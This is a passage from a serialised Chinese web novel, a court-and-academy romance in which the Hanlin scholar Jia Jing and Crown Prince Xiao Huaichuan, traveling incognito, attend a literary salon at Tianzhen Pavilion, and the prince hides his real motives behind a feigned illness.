“便是学士大人来了,我也占理。” 庶吉士说完一甩衣袖,转身离去,桌案上的书本散落一地,留下一片狼藉。 胡典籍见状,手指哆嗦着指向庶吉士的背影,“竖子张狂!” 他一副要倒仰过去的模样,吓得旁边的典籍连忙来给他顺气, “老胡,可别跟这种毛头小子计较,免得气坏身子。” “这套地方志还要你把关编纂呢!”一遍劝着,一边给一旁的几个庶吉士使眼色,赶紧将掉落地上的书册全部捡起来。 这样劝着,胡典籍闭了闭眼,到底是稳定了下来。 贾敬目光下意识落到面前桌案上的地方志史料,观胡典籍反应,这次地方志的编纂于他而言很是重要。 宋子虚则是望着门外,摇了摇头道:“怎么这样冲动。” 这几位典籍虽然品阶确实不高,可显然也没有那般无用,不然方海峰也不会把他们这群人丢给这三位典籍了。 再说,翰林院庶吉士说着未来前途坦荡,可到底还得在翰林院待上三年,到散馆考核后,才能升阶前往别的衙门。 薛琼显然对那位庶吉士比宋子虚等人了解,缓缓道: “方才那位庶吉士,姓王名声涛,祖籍黄州人士。” 宋子虚几人闻言,面面相觑,没想到什么关联之处,只待薛琼接着解释。 薛琼则是看向了贾敬,“培元,你可还记得,吏部尚书何清何大人是哪里人?” 他都这样问了,就算贾敬他们不知道何清是哪里人,现在也都知道了,大抵就是黄州人士。 “没错,王声涛的父亲如今虽只是黄州下辖一府的通判,可他与何大人,不仅是同乡,亦是同窗。” 贾敬挑挑眉,“原来他敢这样嚣张,是有何清给他撑腰。” 有何清这个吏部尚书的关系在,即便王声涛在翰林院得罪了人,三年后散馆考核和升迁也不用过于担心。 贾敬刚说完,便顿了顿,随后看向薛琼,问道: “我记得,何长明外放去了外地,他去的地方是黄州万松县。” 薛琼点头:“是,这个万松县就是王声涛父亲所在府衙下辖的县。” “啧啧啧。”程一序听着,在一旁不禁咋舌,“世风日下啊,人心不古。” 宋子虚也是恍然大悟,他也算是明白了,这两家也是相互照拂了。 “这位吏部何大人怎么没让他儿子留在京里?当真是意外。”宋子虚感慨一句。 薛琼脸上划过一丝古怪,轻声吐了句,“怎么没有?何长明不愿意罢了。” 贾敬脑中浮现先前何长荣在宁国府胡闹,何清为此咄咄逼人的场景,当时何长明的举动,不可谓不奇怪。 也是个怪人。 “咳!” 忽然想起一声咳嗽声,大家都瞧了过去,就见胡典籍不知何时站在了屋子中央。 他紧绷着脸,面容严肃,“你们来了也有三日了,对于手上的活计也都清楚。” 胡典籍说着,停顿下来,没急着说下去,而是用那略显浑浊的目光扫视着在场众人。 “老夫这里,就只有编书的活计,你们若是耐得住,就留下,若是嫌这里冷清,也可现在就走!” 胡典籍说着,手就已经抬起,指向了门外。 话音落下,屋内寂静,一时没人说话。 胡典籍冷笑一声,“你们也别怕得罪了上官,你们现在走,上官那里若是怪罪,老夫担着。” 他接着压低了嗓音道:“若是你们今日不走,明儿个若是哪里做的不到位,就别怪老夫撵人了!” 丑话已然说出,屋内有几位显然已经坐不住了。 贾敬几人倒是稳坐不动,就看着对面角落里,犹犹豫豫起来两三人,在胡典籍冷然的目光下,走出了屋子。 一直到没人再起身,胡典籍再次看向屋内剩下的不到十人,脸上带着讥笑, “都决定留下了?” “老夫已经给了你们机会,既然不想走,那么就别怪老夫磋磨人了。” 胡典籍伸手指着留下的人,“老夫保证,最后你们都会走的!” “做事!” 胡典籍一甩袖子出了屋子,紧接着其余两位典籍也跟着出去。 留下的这不到十人也是淡定,都兀自坐了回去,开始梳理手上的活计。 贾敬看似随意瞥了一眼,有好几位都挺眼熟,譬如先前被程一序捂过嘴的庶吉士,名叫赵呈;再譬如,之前心胸豁达洒脱、席地而坐的小胖子,名叫郑春。 都是些心性不错的苗子,若是能…… 程一序用胳膊捣了一下贾敬,贾敬转头看去,程一序眯着眼道: “你这狐狸,一肚子坏水想什么呢?” 贾敬手指摩挲着下巴,“琢磨着,把你论斤两卖了,能卖几个钱。” “呵。”程一序冷笑。 贾敬像是想到了什么,开口道:“天珍阁三日后有一场书场清谈,你们可有兴趣?” 宋子虚一听,顿时来了劲儿,“培元是要去参加?能带我们一道去?” 他虽然不是京城人,但是对天珍阁以及天珍阁的书场清谈却是闻名已久。 京城大多数的读书人也都知晓天珍阁的大名。 薛琼也诧异地问道:“培元要去?” 贾敬点头,心想着,那天天珍阁小厮也没说不给带同伴不是? 大不了,让宋子虚薛琼他们去答题,贾敬不信他们过不了。 程一下没啃声,贾敬有些好奇,直接开口问道:“你不去?” “你们都去,我岂有不去的道理?”程一下摊了摊手。 “能带上我们吗?” 贾敬闻声看去,不知何时身旁已经凑近了三四人,为首的正是郑春,小胖子目光希冀地看着贾敬。 第76章 莫名, 贾敬这一屋子的同僚皆要前往三日后天珍阁的书场清谈。 小胖子郑春还怕贾敬为难,提议着趁这两日,大家下值后就去天珍阁答题。就算偶有不过的, 到时候携同同伴,也没什么大碍。 如此做,倒也让贾敬省了心。 三位典籍回来时, 屋内寂静, 看到屋中情形时, 胡典籍显然一愣, 而他旁边的典籍朝他挤眉弄眼,脸上带这些喜色。 他的声音压得的极低,“我说这批苗子可以吧?” “呵。”胡典籍冷笑一声, 目光扫过剩下这些伏案做事的青年人, 没有回答,径直朝他角落的位置坐下。 下午,天上的乌云压下,天光变暗, 大家只好点起了灯。 灯刚点上,外面便风雨大作, 倾盆而下。贾敬看了看窗外, 心道: 算算时辰, 这会子太后应当是刚过神武门, 她今日回京选得这个日子, 果真不怎么好。 想法稍纵即逝, 贾敬伴随着淅淅沥沥的雨声, 沉浸于翰林院的故纸堆里, 梳理着需要梳理的史料, 饿了就吃些萧淮川送来的糕点,好不自在清闲。 下值时,贾敬刚上马车,外头跟车的阿禄便说起了太后今日回京的事。 “二爷,您也晓得,我有个族兄在城门口当守卫。说来也巧,他今日下值到西边买东西,便遇见了小的,咱们就聊了一会子。” “今日下雨路滑,太后娘娘在神武门外,下马车欲换仪仗时,听闻摔了。” 贾敬:“摔了?” 阿禄隔着车帘的声音传过来,“是,听闻摔得不轻,将旁边跟着的张二小姐吓得不轻。” 贾敬眼眸微凝,“张二小姐?” “太后命其去神武门接驾了?” 阿禄:“是,张二小姐是太后娘娘钦点去神武门接驾的。” 他说着,声音又压低了几分,“小的还听说,太后娘娘唤张二小姐伴驾,是为了与太子殿下……” 阿禄的话说到一半猛然顿住,“小的失言!” 贾敬的手指下意识地轻轻敲在马车壁上,没有说话。 太后,张家,张二小姐,太子妃…… 他们的打算如司马昭之心,路人皆知。 萧淮川是不是早就预料到会是这样,这才借口风寒,闭宫不出,也避开和张二小姐的会面。 那么这样看来,萧淮川对天丰帝极力撮合这门亲事,也是不愿的呢? 萧淮川是不满意天丰帝的安排和掌控,还是仅仅不满意那位张二小姐呢? 贾敬心中不由得想了许多,最后只是嘴角扯出一抹苦涩的笑意。 阿禄见里面不再传出声音来,噤了声,不再多言。 翌日,贾敷携着贾赦一大早便前往了京郊码头,欲乘运河顺流南下。 贾敬还需要当值,只是在宁国府门前拜别兄长和弟弟,便只能目送着他们离开。 倒是让贾敬意外的是,史云棠居然也仅仅是在府前送别,贾敬还以为,史云棠会一路将贾敷送上船。 可瞧着史云棠因离别难受而泛红的眼眶,贾敬也不觉得是他们二人闹了什么矛盾。 史云棠强忍着眼眶传来的酸涩之感,对上贾敬的目光,轻声道: “不送了,我怕去了……更加舍不得。” 说完这句话,史云棠猛然一个转身,便迈步朝宁国府内走去。 贾敬愣怔住,最终只是叹了口气,本就人丁稀少的宁国府,少了男主人后,就更加冷清了。 一晃眼,便到了休沐日,也是天珍阁举行书场清谈的日子。 在这之前,薛琼、宋子虚连同郑春等几位同僚,顺利通过了天珍阁的试题,拿到了参加书场清谈的名额。 贾敬这边刚出府,就在宁国府的门口看见了一架眼熟的马车,是萧淮川日常出行驾的马车,他眼眸不禁一亮,脚步都快了几许。 今日跟在萧淮川身边的,依旧是小德子,贾敬对这位小太监已然眼熟了。 小德子躬身作揖,“二爷,殿下在里面等着您呢。” 说着便卷起了车帘,贾敬抬腿便钻进了马车,入眼便看见了撑着额垂首小憩的萧淮川。 萧淮川恰好睁开眼,眼尾带笑,“阿元,你来了。” 贾敬定定地望着萧淮川,眉却下意识蹙起,眼中的担忧都要溢出, “才三日不见,怎么消瘦成如此?” 不是说装病吗?怎么瞧着跟真病了一样。 “淮哥,你的那套装病说辞,不会是故意骗我的吧?”贾敬瞪着眼睛望着萧淮川。 “那哪能啊,我怎么会骗阿元呢?”萧淮川声音低沉,似是呢喃,“既然装病,那自然要像些。” 贾敬还是不放心,半信半疑道:“真的?” 萧淮川一脸正色,“当然。” 贾敬眯了眯眼,忽然问道:“淮哥装病,是为了躲张二小姐?” 萧淮川微微一怔,阿元在说什么,什么躲张二小姐? 还未等他问,贾敬便自顾自的接着开口道:“那日太后回宫,特地传张二小姐,前去接驾,淮哥可是因为这个才装病没去?” 萧淮川这才听明白,这才知道贾敬是误会了。 他眼睑微垂,若是阿元是这样想的,也好,省得他再找理由了。 “是,不想去。” 贾敬听到这句,眼皮不禁挑了挑,喉结轻轻滚动,问了句,“淮哥不喜张二小姐吗?” “一个乳臭未干的小丫头……”萧淮川嘴角勾起一抹讽刺的笑意,语气里也透露着凉意,“简直可笑。” 就算萧淮川不曾意识到自己对贾敬的特殊情谊,他也不会如天丰帝如愿,真的娶一个十二岁的小女孩。 先前萧淮川放任不管不顾,不过是知道,天丰帝就算属意张二小姐,也不可能在张二小姐这个年纪赐婚。 那么有张二小姐在,能为萧淮川省下许多事,他又何必折腾呢? 但目前看来,他需要做些事情了。 无论是太后、承恩公张家以及天丰帝的迫不及待,还是萧淮川看清了自己的心,都不能再放任下去了。 贾敬默然,也不再问,只是道:“淮哥莫要因为这些事,当真伤了身子。” 萧淮川今日瞧着,面上确实显得有一丝苍白,但胜在精神气好,他朝贾敬温和笑着,嘴上却道: “阿元如今能体会到,我看你病时的感受了?” 贾敬眨了眨眼,不认同萧淮川的话,“简直是强词夺理。” 萧淮川稍稍一挑眉峰,他一伸手臂,手掌落在贾敬的腰际,握了握,贾敬身体下意识一缩,诧异地望着萧淮川。 萧淮川面色如常,“你瞧,你这腰细得,我一掌就能握住。” 他这话自然是夸张说法。 贾敬腰际传来的温热让他只觉得发痒,他不由得动了动腰,朝旁边移了移,还不忘瞪了萧淮川一眼, “在哪里学的登徒子行径?” “难不成淮哥还学楚王,独爱细腰不成?” 贾敬被萧淮川逗弄,眼里带着恼意,忍不住刺了萧淮川一句。 萧淮川眯着眼,被比作楚王也不恼,“阿元可是错怪我了,我可不爱看别人的。” 贾敬扯了扯嘴角,只当萧淮川打趣自己。 他眼里闪过一丝怪异,仔细打量着萧淮川,他怎么觉得今天萧淮川给人的感觉,有些怪呢? 萧淮川慵懒随意地靠着,垂眼看着贾敬,随意他打量。 可贾敬左看看,右瞧瞧,也没看出什么端倪来,他嘴唇嚅嗫,想要说什么,却不知道该如何开口。 萧淮川轻笑出声,“阿元可瞧出什么了?” 明明态度温和如春风,落贾敬眼里却显得有些扎眼,不禁白了萧淮川一眼。 忽的,贾敬动了动鼻子,像是闻到了一股苦味,他顺着味看向了萧淮川,抬眸看着萧淮川, “还说没病?这一身的药味!” 贾敬说着声音都抬高了几分,萧淮川这一身药味,都快要将人腌入味了。 萧淮川一滞,眼底划过一丝懊恼,居然将这茬忘了。 他近日喝的药,甚是苦寒,连喝了几日,身上难免沾了味儿。 可萧淮川已经习惯,而他又没有扑香粉带香囊的喜好,这一身药味儿,一接近贾敬,便漏了陷。 贾敬见状,哪里不懂,打量着萧淮川如今没什么异样,只当他是好了,悬着的心稍稍放下。 紧接着,他的嘴角扯出一抹冷笑,哼了一声,就直接转过身,不理人了。 萧淮川轻啧一声,伸出手扯了扯贾敬的袖子,缓缓道: “阿元,我真不是有意要瞒着你。” 贾敬依旧不理人,也不看萧淮川。 萧淮川态度又软下了几分,“阿元,这次是我不对,咱们贾大人大人有大量,原谅我一次?” “别跟我置气了,好不好?” 贾敬微微转过头来,眼神斜睨着萧淮川,说出的话也锋利得很。 “微臣可不敢跟殿下置气,殿下若是有什么事,也犯不着让微臣知道。” “殿下的事情,微臣更没资格去过问。” 这话明显气意未消。 萧淮川额角有些发疼,伸手拉住贾敬的手,认真的望着贾敬, “阿元,我真的不是故意要瞒着你。” 贾敬抽了抽手,萧淮川力气不小,一时没抽出来,他便也不纠结这个。 而是抬眸对上萧淮川的目光,抬了抬下巴,却不说话。 他眼里的倔强仿佛在说,既然说不是故意瞒着,那就说说为什么瞒着他? 萧淮川抿了抿唇,脸上眼中尽显纠结之色,他在犹豫,犹豫怎么该和贾敬解释。 他的神情变化,贾敬自然看在眼里。他的心不禁沉了沉,脸色也愈发冷淡,猛地抽回自己的手。 原来,当知道萧淮川有事瞒着自己的时候,萧淮川的不信任,会让他这样失望和难受。 可是,他也有事情瞒着萧淮川不是吗?他都没有做到坦诚相待,又怎么可以这样要求萧淮川? 贾敬只觉得自己有些可笑,甚至于恼羞成怒,恼的是他自己。 下一瞬,萧淮川又重新握住贾敬的手,贾敬下意识看去。 “阿元,别恼,我说。” 第77章 贾敬眼眸顿住, 随后垂眼,错开萧淮川的视线,被萧淮川拉着的手指微微蜷缩, 却没有挣开。 他低垂的眼睑,遮掩住眼底捎带的那一抹自嘲。 人还真是虚伪,就算嘴上说得再不在意, 再不好奇, 可心却骗不了人, 控制不住的想起窥探。 萧淮川眸光扫过贾敬没有收回去的手, 心中稍稍放松了些,语气也变得缓和几分, “阿元。” 萧淮川没有接着说原因, 而是又唤了贾敬一声, 那执着样,仿佛贾敬不理他,他便会一直唤他。 贾敬微微转动眼睛,终于是对上了萧淮川的目光, 漆黑的瞳孔定定看着萧淮川,“你说吧, 我有在听。” 萧淮川叹了口气, 脸上是藏不住的无奈和苦涩。 “我确实在喝药。”萧淮川先是将这件事认下。 贾敬闻言, 眼眸微动, 他抿了抿唇道: “既然是真的病了, 为何要瞒着我?” “你是怕我担心, 不想我知道?” 可即便是这样的理由, 贾敬自觉自己也不会接受。 “我确实不想让阿元你知道。”萧淮川轻轻颔首, 可还未等贾敬说话, 萧淮川忽然话锋一转,“至于其中缘由……” 萧淮川欲言又止,可他越是这样,贾敬的心越像是被猫挠了一般,他语气不禁急了几分,“原因是什么?” 萧淮川勾起一抹苦笑,眼底甚至有了几分难堪之色,好似是什么窘迫之事,“着实有些……难以启齿。” 听闻此言,贾敬心中疑窦更甚。 他自忖与萧淮川一起长大,就连文淑皇后那等密辛之事,萧淮川都告诉了自己,如今又有什么难以启齿,不方便告诉自己的事? 在贾敬凝视的目光下,萧淮川深吸一口气,一字一顿道: “其实,我并非是什么风寒之症,而是另有其他顽疾缠身。” 萧淮川的话如同一块巨石狠狠地砸在了贾敬心头。 贾敬的眼眸猛地睁大到了极致,他的手下意识得用力回握,紧紧攥着萧淮川的手。 能让萧淮川隐瞒、讳莫如深的疾病……其严重程度可想而知,必然不简单! 萧淮川到底怎么了?他身上那顽疾又是什么? 贾敬艰难地咽了咽干涩的喉咙,声音不由得颤抖起来,嘴唇微张,“你……” 他想要问萧淮川到底如何了,是不是还在拿他寻开心,说玩笑话? 可贾敬心中清楚,萧淮川不会这样做。 那么,萧淮川说的便是真的…… 贾敬张开口,话却好似被什么东西哽住了一般,堵在喉间,无论如何也无法顺畅地吐露出来。 他心中一横,狠狠咬着自己的舌尖,刺痛顺着舌尖窜出。 贾敬努力稳住自己的心神,倘若萧淮川说的都是真的,真的得了什么不治之症,那么他更加不能慌了心神。 他将混着腥味的血沫再次咽下,涩着嗓音道: “淮哥,你我之间,又怎么会有难以启齿的呢?” 贾敬反握着萧淮川的手紧了紧,像是在向萧淮川表态,“淮哥,无论什么,咱们一同面对便是。” 萧淮川沉默,随后他别过头,似是不愿让贾敬看着他此时的模样。 “阿元,我或许,这辈子都不会有自己的孩子了。” 萧淮川自从明白自己的心意后,便愈发清楚,他未来大抵是不会和女子结合,自然也不会有什么孩子了。 只是刚刚告知贾敬的这番话里,萧淮川故意模糊了话中的意思,就是为了给贾敬产生一个误导。 贾敬闻言一愣,像是没明白萧淮川的意思。 萧淮川神情落寞,低垂着眼,声音压得极低,“这些天都是在吃那些药,然而都没什么用……” 贾敬眨了眨眼睛,好似这才反应过来,脑袋“嗡”地一声响,目光则是情不自禁地看向萧淮川袍间位置,眼里藏不住的震惊。 萧淮川的意思是……他不举? 贾敬不免磕绊出声,“多久了?” 萧淮川幽幽看了他一眼,“日子不短了,一直看着,都没什么效用。” “这……这……” 贾敬此时心中的复杂,他自己都难以言表。 他都已经做好了萧淮川是什么不治之症的准备了,结果是……萧淮川不举? 好吧,不能人道这件事来说,虽不能与性命相较,可也到底会伤其自尊,同为男子的贾敬自然清楚这点。 贾敬当真是没有料到这样的情况,他也终于明白萧淮川先前的纠结,他口中的难以启齿。 怪不得萧淮川要以风寒之症为借口,怪不得他要瞒着人,居然是这么一件事! 贾敬定了定神,看向萧淮川目光是藏不住的复杂,他想要安慰几句,话说出口却磕磕碰碰, “淮、淮哥,这事也不一定……总、总能治好的。” 明明是贾敬劝慰萧淮川,反而最先羞赧的也变成了贾敬。 萧淮川眼中闪过一丝动容,嘴唇嚅嗫,面容带着些痛苦和脆弱,看向贾敬的眼神又是那么的信赖, “阿元,这件事,我也只能说于你听了……” 贾敬望着这样的萧淮川,心头一颤,话顺口而出,“淮哥放心,我定会保守这个秘密!” “也一定能找到神医治愈的!” 贾敬心中的震惊一直到天珍阁都未曾消散,反而萧淮川下马车时,便已经恢复到往常的模样。 贾敬望着萧淮川面色如常的脸,心道:果然是时日不短了,心绪调整的还真快。 那么,上一世的萧淮川,亦有这个毛病吗? 贾敬脑中不由得冒出这个想法,心也跟着一跳。上一世,害萧淮川的人,是不是知道了什么? 萧淮川上一世异常的举动,是否和这件事有关? 贾敬想着便出了神,直到一个身影扑到他的身上,才将他猛然惊醒。 “培元哥哥!” 皇甫玦直接一个飞扑挂在了贾敬身上,贾敬没有什么准备,差点被他扑了一个踉跄。 “小心!” 萧淮川一手扶在贾敬肩上,一手撑着贾敬的腰,下一瞬,他原本还算温和的目光,此时透露着些凉意,落在挂在贾敬身上的皇甫玦身上。 跟在皇甫玦身后的程一序,敏锐地捕捉到萧淮川这一眼神变化,脸色陡然一变,一个跨步上前,呵斥道: “阿玦,成何体统?还不赶紧下来。” 程一序一把将皇甫玦从贾敬身上扯下来,朝贾敬歉意一笑,却不看萧淮川。 萧淮川眼眸微不可查地动了动,这人应当是认出了他。 皇甫玦缩了缩脖子,自觉有些不妙,朝贾敬讪讪道:“我太高兴了。” 贾敬倒是不觉得有什么,“阿玦今日也来了?跟程兄来玩吗?” 皇甫玦却微微抬起下巴,“谁跟他一起?我可是自己过了天珍阁的试题!” 贾敬讶然,都道天珍阁试题难倒一大片人,可贾敬如今瞧着,怎么他身边这些人,过天珍阁试题跟玩儿似的? 不过,下一瞬贾敬便推到了他心中的想法。 且不说薛琼为金科状元,就说贾敬如今翰林院的几位庶吉士同僚,也都是进士出身。 而皇甫玦,年纪虽小,但他可是三大书院浮白书院皇甫家的后人,实力自然也是了得。 贾敬望着皇甫玦得意的表情,少年人作此状并不会让人心生厌烦,反而会忍不住夸一声:少年意气,有挥斥方遒之势。 “阿玦果然聪颖。” 贾敬也丝毫不吝啬自己的夸奖。 皇甫玦粲然一笑,随后含着好奇的眼眸就看向了贾敬身旁站着的萧淮川,以及,萧淮川还放于贾敬肩头腰间的手。 “培元哥哥,这位大哥是你的朋友吗?” 皇甫玦自然不认识萧淮川。 方才皇甫玦和贾敬对话时,萧淮川便已经将皇甫玦打量了个遍,也将皇甫玦看了个七七八八。 一个不稳重的毛头小子,心思简单,喜形于色。 但见他与阿元亲近,萧淮川心中难免有些不爽,觉得碍眼。 贾敬显然也不想在这里暴露萧淮川的身份,至于程一序、薛琼、宋子虚以及其他同僚是否认识萧淮川,贾敬并不纠结。 不认识不打紧,若是认识,更好。 他今日邀这些同僚来,便是为了让他们和萧淮川见上一见。 贾敬点头便应道:“是。” 他看了萧淮川一眼,对皇甫玦道:“你便唤他……贺大哥。” 贾敬的这句话,引来了萧淮川的侧目。 他也是没想到,贾敬居然会说他姓贺。 皇甫玦也爽快的喊了一声,“贺大哥好!我是皇甫珏!” “说来也巧,我有位好友,也姓贺,他……” “咳!”皇甫玦话未说完,便被程一序一声咳嗽声打断,“就你话多!” “堵在门口太惹人注目,我们还是先进去吧。”程一序建议道。 皇甫玦也不再多言,只是对于程一序的话,他直接抛了个鬼脸,转身便进去了。 程一序朝贾敬微微点头示意,便也跟着进去。 萧淮川若有所思地望着两人的背影,刚刚皇甫珏一道姓名,他便想起来了。 “上次你府上摆宴,他也去了吧。” 他还记得这少年说要比试,他有事先行离开,不曾知道后续。 阿元便是那次和这少年熟稔的? 贾敬在一旁轻声道: “没错,是他。那位皇甫玦,是赣州浮白书院皇甫院长的儿子,他来京,是为了去国子监进学,而程一序是赣州程家嫡系,皇甫玦的表兄,如今同我一起在翰林院当差。” 萧淮川眯起眼,赣州浮白书院皇甫家的子弟,今年居然入了国子监。 这件事,说大不大,可说小也不小,萧淮川还真的没有关注到。 想来,天丰帝也没有关注到吧。 【作者有话要说】 落寞小萧:我有疾…… 阿元震惊:你居然不行!!?[害怕] 第78章 贾敬与萧淮川进去时, 便看见天珍阁大堂中央,上次他们瞧见的那处书场,此时已经落座了好些人。 “培元, 你……” 宋子虚与薛琼早已经到了,见贾敬进来,他连忙招呼, 可话刚出口, 就看见了紧跟在贾敬身后进来的萧淮川, 瞬间噤了声。 贾敬可没跟他们说, 今日太子殿下也会来! 而宋子虚和薛琼两旁还坐着郑春等人,看到萧淮川的时候,同样震惊。毕竟琼林宴上, 可都见过这位储君。 但这几位到底稳重, 也注意着这样的场合,没直接一个行礼,暴露萧淮川的身份。 “子虚兄。”贾敬像是看不见宋子虚的异样,径直朝他们那里走去。 萧淮川自然跟在贾敬身后。 贾敬率先走到宋子虚面前, 宋子虚不顾形象,直接朝贾敬挤眉弄眼, 意为:太子殿下怎么也来了?这都不提前跟他们通个气吗? 薛琼郑春等人也是朝贾敬看去, 贾敬笑了笑, 直接指了指萧淮川, “这是我一好友, 姓贺, 今日同我一起来见见世面。” 萧淮川也顺势应承了贾敬的话, 礼貌地朝薛琼等人笑了笑, “贺某今日叨扰了。” 宋子虚几人面面相觑, 心知太子殿下是微服出巡,不愿暴露身份,刚刚幸好没有冲动。 萧淮川这样客气,也让宋子虚等人受宠若惊,况且这天珍阁书场清谈,他们亦是客,萧淮川来此,对他们而言,怎么也算不上叨扰。 几人礼貌认真又郑重的回礼,“贺、贺公子客气。” 薛琼一来,便被同僚簇拥坐在了中间位置,见萧淮川和贾敬来了,薛琼想要起身让出这个位置,可刚站起身,贾敬便看出了他的意图,抬手打断道: “谦之兄,你那位置可太过显眼,我不愿坐,我坐那便好。” 贾敬说着便手扯着萧淮川的袖子,朝同排长桌案的末尾空位走去。 待贾敬和萧淮川并排坐下后,薛琼收回目光,见左手边的宋子虚和右手边的郑春还在用看似隐晦的眼神打量着贾敬那边,便轻声提醒道: “二位贤弟,这香茗清新甘醇,不可辜负。” 宋子虚和郑春连忙回神,迅速收回目光,端起面前的茶水便呷了一口。 “这茶水当真不错!” “不愧是天珍阁,就连这茶,都算得上一绝。” 而郑春更是夸张,“我过了天珍阁试题的当日,便来此用膳,那菜肴实属珍馐,在全京城也称得上这个。” 说罢,郑春竖起了一个拇指,他本就是老餮一枚,不是他吹,就这京城里,无论是名家酒楼,还是市井小摊,就没有几家是他没钻过的。 郑春脸上明显闪过一丝意犹未尽的神情,薛琼浅笑,“若是喜欢,以后常来,这试题难不倒你。” “哪有谦之兄你说的那般容易!”郑春却忽的睁大眼睛,“这天珍阁多贵啊,这一餐就吃了我三个月的俸禄!” “吃不起,吃不起。”郑春说着连忙摆手,真实不做作,引来周围几人的笑意。 清涩茶汤滚如喉中,几人也没先前那样紧绷,稍稍松了口气。 贾敬和萧淮川不与他们坐在一处,他们也都松快些。 几人也并未再讨论与萧淮川相关。 太子殿下的态度已然明了,并不想暴露身份,他们又何必自找没趣。 “瞧,刚刚遇见的那两位,在对面。” 萧淮川手指在茶杯上轻轻摩挲,眼皮轻抬,朝对面的长桌案抬了抬下巴。 贾敬顺势看去,就见程一序和皇甫玦两人正坐在对面。 天珍阁这大堂的书场布置,前方中间放了一张短书案,便是书场。 而两侧则是对着放了两张长桌案,估摸着一张长桌案能坐下十五人左右。 贾敬打量着对面好一会儿,便确定道: “对面和他们坐一起的几人,应当是程兄和阿玦的熟人。” 贾敬看得真切,程一序和皇甫玦坐在对面中间偏右的位置,与他们旁边的几人聊得甚欢,神情放松。 皇甫玦甚至与他旁边的一年轻男子玩闹起来,故意夺了那人手中的糕点,那人伸手捏了皇甫玦的鼻子,眼里却满是无奈和包容。 程一序则是坐在皇甫玦另一边,支着下巴瞧着。 萧淮川嗯了一声,目光在对面那一群年轻书生扫过,眼眸微闪,问着贾敬, “阿元可曾见过对面坐着的几人?” 贾敬一怔,随后笑道:“天下读书人那般多,我怎么可能都认得?” 可话刚说出口,贾敬便意识到不对劲,眸光看向对面时,多了几许认真和探究。 皇甫玦和程一序身旁坐着的那几位年轻书生,衣裳布料瞧着便不俗,多是南方时兴的流行绸缎,做工裁剪手艺亦是不俗。 此时他们多数是随意慵懒坐着,看着百无聊赖,可举手投足间都透露着教养和矜持,显然不是一般人家的子弟。 京中大多数王孙公子,尤其是读书人,贾敬虽不怎么与他们来往,可随着家中姻亲来往,总是眼熟的。 这几位显然不是京中子弟,加上他们与程一序、皇甫玦那副熟稔的模样,贾敬心中已经有了些猜测,转头轻声对萧淮川道: “他们应当是赣州来的,说不准就是浮白书院的读书人。” 萧淮川颔首,认同了贾敬的猜测。 “他们此时在京里……着实有些奇怪。”萧淮川缓缓说出了这么一句话。 萧淮川话一出,贾敬便明白了他话中的意思,望向对面几人的眉头也不禁蹙起, “确实奇怪。” “去岁秋闱已然结束,今朝春闱会试也已经尘埃落定,可不需要外府子弟进京赶考,下一次进京赶考也当是三年后了。” “倘若他们真的是浮白书院的读书人,大抵也不会是为了国子监入学。” 皇甫玦进国子监读书,为何让贾敬惊讶,正是因为他这样的情况,已经实属罕见了。 “或许是趁着春光,出来游学。”贾敬说出了一个猜测。 贤者云:读万卷书,行万里路。 尤其是几大书院的书生子弟,他们其中有一小半人可能都不进入朝堂,亦不参与科举,多的是机会在外游历游学。 萧淮川沉默没答,他的视线不知不觉间落在了一个人身上,贾敬顺势看去,正是刚刚和皇甫玦玩闹,被皇甫玦抢了糕点的年轻书生,瞧着应当和程一序一般大。 “这人怎么了?”贾敬也看了这人一会儿,除了觉得此人面容清隽,较他人更加赏心悦目外,看外表也看不出什么特殊之处了。 萧淮川眼眸微微眯起,刚准备说什么,直接那年轻书生若有所觉,目光直直地朝贾敬他们这里看来,紧接着,眸光顿住。 贾敬愣怔着眨了眨眼,眼里闪过一丝困惑。 此人是在看他吗? 不过很快贾敬便否认了心中的猜测,眼眸微睁,此人看的是萧淮川! 只见那人定定地瞧着萧淮川好一会儿,神情似笑非笑。 皇甫玦本就一直在和这年轻书生玩闹,见他停下,也顺着看了过去,见是贾敬,他直接朝这边咧嘴笑了,和贾敬打着招呼。 程一序也跟着看过来,与贾敬对视后,却垂下了眼眸。 皇甫珏随后则是转头看向那年轻书生,嘴巴张合,像是在说些什么,贾敬不懂唇语,并不知道他们对话的内容。 只是那年轻书生很快又朝他们这里掠了一眼,贾敬这次可以确实,他看向的是自己。 贾敬觉得有些莫名,萧淮川则是已经收回了看向对面的目光,伸手拿起一枚糕点,放在了贾敬的面前, “这荷花酥,甜而不腻,酥却不油,阿元尝尝。” 那荷花酥已经递到了贾敬的嘴边,糕点的香味直往贾敬鼻中钻,他下意识地张口咬住,当下口的那一瞬间,贾敬才意识到。 他嘴里嚼着糕点,偏了偏头,伸手就要去萧淮川手中剩下的荷花酥,却不曾想,被萧淮川躲过。 萧淮川轻笑着,“这酥皮油,我拿着,就不脏阿元的手了。” 贾敬嚼了几下就将口中的荷花酥咽下,刚要拒绝,就见被他咬过一口的荷花酥又递到了他的唇边。 这样在大庭广众之下,被人喂食的举动,让贾敬有些不自在,脸上都忍不住泛起一丝燥意。 “我还是……” “阿元,我这样一直举着,手有些酸呢。” 贾敬闻言,眼睛眨动的速度更加快了几分,看向萧淮川的眼神更显得怪异。 手酸,那怎么不给他自己拿着? 贾敬抿了抿唇,直接将剩下的大块荷花酥,一口叼走。 萧淮川从容收回手,拿过一旁的帕子便开始擦手,嘴上还问着:“好吃吗,阿元。” 贾敬此时不想理萧淮川,目光快速朝四周看去,他们坐于角落中,见没人关注这里,贾敬才松了口气。 就这萧淮川手吃糕点,也太奇怪了! 可就是这样一走神,那大块的荷花酥入口,便顺利的将贾敬噎住了。 “咳咳咳……” 贾敬被噎的直咳嗽,见萧淮川还要给自己递茶,他眼疾手快连忙夺过茶杯,自己灌了下去。 生怕萧淮川要给自己喂茶,贾敬怕自己被呛死。 第79章 贾敬缓过气来, 刚转过头,就撞上萧淮川含着笑意的眼,脸上爬上一丝羞赧, 偏过头不去看他,只顾着低头喝茶。 萧淮川也适当收敛,怕过火将人弄恼了。 “诸君今日雅聚于天珍阁, 实乃快事。” 贾敬抬头看去, 只见一位白须老者缓缓踱步走至了中间书场, 声音洪厚, 显得中气十足。 萧淮川向贾敬解释道:“此人是南泉书院的夫子,人称鹤南先生,自五年前便不再南泉书院任教, 而是前来京城, 偶尔坐镇天珍阁的书场清谈。” 虽称不上世间大儒,也算得上是文人贤者。 贾敬了然点头,沉吟道:“想来这位鹤南先生也是低调,来京已有五年, 我却也不曾听过他的名号。” 萧淮川:“这也是他故意为之。” 他示意贾敬朝对面看去,“你瞧。” 贾敬顺势看去, 眼眸里划过几分诧异, 只见先前在程一序以及皇甫玦身边肆意慵懒坐着的那些年轻书生, 